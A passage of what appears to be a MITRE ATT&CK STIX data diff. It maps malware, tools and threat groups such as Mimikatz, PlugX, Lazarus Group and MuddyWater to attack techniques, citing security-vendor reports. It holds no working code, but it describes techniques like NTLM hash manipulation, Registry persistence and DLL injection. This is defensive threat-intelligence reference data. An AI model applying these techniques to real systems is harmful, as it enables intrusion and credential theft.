"malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Mimikatz](https://attack.mitre.org/software/S0002) credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The LSADUMP::ChangeNTLM and LSADUMP::SetNTLM modules can also manipulate the password hash of an account without knowing the clear text value.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e641c36-188b-480e-b177-e412cd000b34", + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "source_name": "Metcalf 2015", + "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.", + "url": "http://adsecurity.org/?p=1275" + } + ], + "modified": "2019-04-24T23:36:42.358Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "relationship_type": "uses", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) enables concurrent Remote Desktop Protocol (RDP).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b310a47-e010-4984-afcb-52d9c8c7933a", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can obtain information about network parameters.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b8ff36d-ff96-460a-b5cf-d369e7f598d9", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain a list of users.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9e587add-08b7-4ecb-a40a-664b9cff1d0f", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) adds a Registry Run key to establish persistence.", + "type": "relationship", + "created": "2019-01-29T14:51:06.807Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab2b2cd2-9f20-4497-a6d3-ef1698809779", + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "modified": "2019-04-16T20:26:40.969Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) may create a file containing the results of the command cmd.exe /c ipconfig /all.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--39e856a1-4bab-474e-a6b2-3ce69249bc29", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) performs data exfiltration is accomplished through the following command-line command: from (- --).txt.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--acf05380-4076-43b2-8863-257272ed0f79", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.315Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nerex](https://attack.mitre.org/software/S0210) creates a backdoor through which remote attackers can download files onto a compromised host.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--107e2686-a764-4ace-9200-43ead29ce579", + "external_references": [ + { + "source_name": "Symantec Ristol May 2012", + "description": "Ladley, F. (2012, May 15). Backdoor.Ritsol. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3909-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) uses AES to encrypt certain information sent over its C2 channel.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1bc5328a-e079-4478-9d04-d840626d4976", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the system by running hostname and systeminfo on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a88332d2-d03f-4139-b11c-19e82459189b", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) uses a specific port of 443 and can also use ports 53 and 80 for C2. One [RedLeaves](https://attack.mitre.org/software/S0153) variant uses HTTP over port 443 to connect to its C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--388b4637-f634-42ab-a370-981be7da89bd", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) adds Run key entries in the Registry to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a29d9514-3284-4ac2-a93a-e17750519534", + "external_references": [ + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "url": "http://labs.lastline.com/an-analysis-of-plugx" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:16.035Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has the capability to list processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a564f3da-349a-4e65-826c-8ca60bc920bf", + "external_references": [ + { + "source_name": "FireEye Hacking Team", + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + } + ], + "modified": "2019-04-16T20:26:40.978Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use net start to display running services.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--09c10778-19ad-441a-8a75-a3cf1288f960", + "external_references": [ + { + "source_name": "AlienVault Sykipot 2011", + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) scans processes on all victim systems in the environment and uses automated scripts to pull back the results.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55ffbd77-ec97-4dca-9399-b9e4b62fbbf8", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.836Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8c58cfe5-0b71-434c-939a-329b612d2337", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:09.069Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used mshta.exe to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload and to pass a PowerShell one-liner for execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1923bc58-a830-457d-810f-27091e032f46", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:58.855Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.836Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35a9c64c-c305-46bf-a216-c8bb1b051614", + "external_references": [ + { + "source_name": "Symantec Waterbug", + "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) writes data into the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Pniumj.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c0d119a2-c5f9-4c18-a18c-28bfa576ea9a", + "external_references": [ + { + "source_name": "US-CERT Bankshot Dec 2017", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b26eb7d2-1147-4c2b-a1eb-4a457e081e22", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.540Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.842Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MiniDuke](https://attack.mitre.org/software/S0051) uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62c8913c-c193-4feb-ab58-88343838336d", + "external_references": [ + { + "source_name": "Securelist MiniDuke Feb 2013", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.", + "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) has created password-protected RAR, WinImage, and zip archives to be exfiltrated.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f2a14699-40e1-450c-9866-386ff3e95dca", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) uses reflective DLL injection to inject the malicious library and execute the RAT.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47415cec-25f8-4425-9125-157e1637a687", + "external_references": [ + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can perform webcam viewing.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f3c0c3c1-e7a9-46ae-94cf-e128120a7c5f", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-06-24T19:05:41.604Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the account name of the logged-in user and sends it to the C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:44:41.817Z", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the username from the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f2da9aaa-de4a-4825-b82d-d07ecc34e35c", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) can obtain information on installed anti-malware programs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b741ebf6-1436-4c44-94cd-d3c5b1155a35", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-25T12:24:57.562Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--29fc21b0-4946-4c75-a28e-f8dad46897af", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. 